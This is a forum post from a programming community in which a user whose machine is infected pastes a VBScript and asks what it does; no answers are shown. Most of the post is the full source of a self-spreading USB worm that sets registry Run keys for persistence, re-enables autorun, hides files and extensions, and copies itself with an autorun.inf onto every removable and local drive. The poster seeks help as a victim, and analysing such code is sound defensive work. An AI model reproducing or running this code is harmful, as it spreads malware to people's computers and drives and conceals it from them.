473,398 Members | 2,404 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,398 software developers and data experts.

VB Script Help

Hello everybody, i a C/C++ programmer but i have a visual basic question becasue my computer is being attacked by someone else.

I don't know what is the function of the code. Could oyu please explain to me. I only know that ifle is hidden and i cannot format or delete from my pendrive.

Below is the code:

Expand|Select|Wrap|Line Numbers
  1. 'mark
  2. 'slow and silent (sas)1.0
  3. on error resume next
  4. dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,cc,hm
  5. atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe .MS32DLL.dll.vbs"
  6. set fs = createobject("Scripting.FileSystemObject")
  7. set mf = fs.getfile(Wscript.ScriptFullname)
  8. set rg = createobject("WScript.Shell")
  9. rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout","10"
  10. rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\.MS32DLL.dll.vbs"
  11. rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winboot","wscript.exe "&winpath&"\boot.ini"
  12. rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun",0,"REG_DWORD"
  13. rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden",1,"REG_DWORD"
  14. rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden",0,"REG_DWORD"
  15. rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt","1"
  16. rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden","1"
  17. dim text,size
  18. size = mf.size
  19. set text=mf.openastextstream(1,-2)
  20. cc = text.readline
  21. do while not text.atendofstream
  22. mysource=mysource&text.readline
  23. mysource=mysource & vbcrlf
  24. loop
  25. Set winpath = fs.getspecialfolder(0)
  26. set tf = fs.getfile(winpath & "\.MS32DLL.dll.vbs")
  27. tf.attributes = 32
  28. set tf=fs.createtextfile(winpath & "\.MS32DLL.dll.vbs",2,true)
  29. tf.write "'ker"&vbcrlf&mysource
  30. tf.close
  31. set tf = fs.getfile(winpath & "\.MS32DLL.dll.vbs")
  32. tf.attributes = 39
  33. Set winpath = fs.getspecialfolder(0)
  34. set tf = fs.getfile(winpath & "\boot.ini")
  35. tf.attributes = 32
  36. set tf=fs.createtextfile(winpath & "\boot.ini",2,true)
  37. tf.write "'ker"&vbcrlf&mysource
  38. tf.close
  39. set tf = fs.getfile(winpath & "\boot.ini")
  40. tf.attributes = 39
  41. if cc = "'mark" then
  42. rg.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname
  43. end if
  44. if cc = "'marker" then
  45. rg.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname
  46. end if
  47. do
  48. for each flashdrive in fs.drives
  49. hm="'mark"
  50. If (flashdrive.drivetype=1 or flashdrive.drivetype=2) and flashdrive.path <> "A:" then
  51. if(flashdrive.drivetype=2) then
  52. hm = "'marker"
  53. end if
  54. set tf=fs.getfile(flashdrive.path &"\.MS32DLL.dll.vbs")
  55. tf.attributes =32
  56. set tf=fs.createtextfile(flashdrive.path &"\.MS32DLL.dll.vbs",2,true)
  57. tf.write hm&vbcrlf&mysource
  58. tf.close
  59. set tf=fs.getfile(flashdrive.path &"\.MS32DLL.dll.vbs")
  60. tf.attributes =39
  61. set tf =fs.getfile(flashdrive.path &"\autorun.inf")
  62. tf.attributes = 32
  63. set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
  64. tf.write atr
  65. tf.close
  66. set tf =fs.getfile(flashdrive.path &"\autorun.inf")
  67. tf.attributes=39
  68. end if
  69. rg.R
  70. egWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout","0"
  71. rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\.MS32DLL.dll.vbs"
  72. rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winboot","wscript.exe /E:vbs "&winpath&"\boot.ini"
  73. rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun",0,"REG_DWORD"
  74. rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden",1,"REG_DWORD"
  75. rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden",0,"REG_DWORD"
  76. rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt","1"
  77. rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden","1"
  78. next
  79. if cc <> "'mark" then
  80. Wscript.sleep 10000
  81. end if
  82. loop while cc <> "'mark"
  83.  
  84.  
Any idea and recommendations is greatly appreciated by me and others.

Thanks for your help.
Apr 11 '07 #1
0 2344

Sign in to post your reply or Sign up for a free account.

Similar topics

3
by: dpackwood | last post by:
Hello, I have two different scripts that do pretty much the same thing. The main perl script is on Windows. It runs and in the middle of it, it then calls out another perl script that then...
4
by: hupjack | last post by:
I finally joined the millions of cell phone users out there. I'm the 2nd phone on what is now a family share plan. (Our two cell phones use minutes from a central 400 minute peak time pool.)...
14
by: Akbar | last post by:
Hey there, Big-time curiosity issue here... Here's the test code (it's not that long)... it's to display a large number of image links with captions, ideally pulled in from an external file...
8
by: Johnny Knoxville | last post by:
I've added a favicon to my site (http://lazyape.filetap.com/) which works fine if you add the site to favourites the normal way, but I have some JavaScript code on a couple of pages with a link,...
4
by: Derek | last post by:
I have the following script in a page and it gets an error in IE 6. Says something about an invalid argument but the line number doesn't help since I can't see the javascript code when viewing...
0
by: ZMan | last post by:
Scenario: This is about debugging server side scripts that make calls to middle-tier business DLLs. The server side scripts are legacy ASP 3.0 pages, and the DLLs are managed DLLs...
9
by: Harry Smith | last post by:
While reading the documentation on IsStartupScriptRegistered, there is a reference to "client startup script" as "Determines if the client startup script is registered with the Page object." What...
3
by: Angus | last post by:
I have a web page with a toolbar containing a Save button. The Save button can change contextually to be a Search button in some cases. Hence the button name searchsavechanges. The snippet of...
3
by: David | last post by:
On Sun, May 4, 2008 at 4:43 AM, lev <levlozhkin@gmail.comwrote: Hi, I started tidying up the script a bit, but there are some parts I don't understand or look buggy. So I'm forwarding you the...
1
KevinADC
by: KevinADC | last post by:
Note: You may skip to the end of the article if all you want is the perl code. Introduction Many websites have a form or a link you can use to download a file. You click a form button or click...
0
by: emmanuelkatto | last post by:
Hi All, I am Emmanuel katto from Uganda. I want to ask what challenges you've faced while migrating a website to cloud. Please let me know. Thanks! Emmanuel
0
BarryA
by: BarryA | last post by:
What are the essential steps and strategies outlined in the Data Structures and Algorithms (DSA) roadmap for aspiring data scientists? How can individuals effectively utilize this roadmap to progress...
1
by: nemocccc | last post by:
hello, everyone, I want to develop a software for my android phone for daily needs, any suggestions?
1
by: Sonnysonu | last post by:
This is the data of csv file 1 2 3 1 2 3 1 2 3 1 2 3 2 3 2 3 3 the lengths should be different i have to store the data by column-wise with in the specific length. suppose the i have to...
0
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However,...
0
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can...
0
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven...
0
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows...
0
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.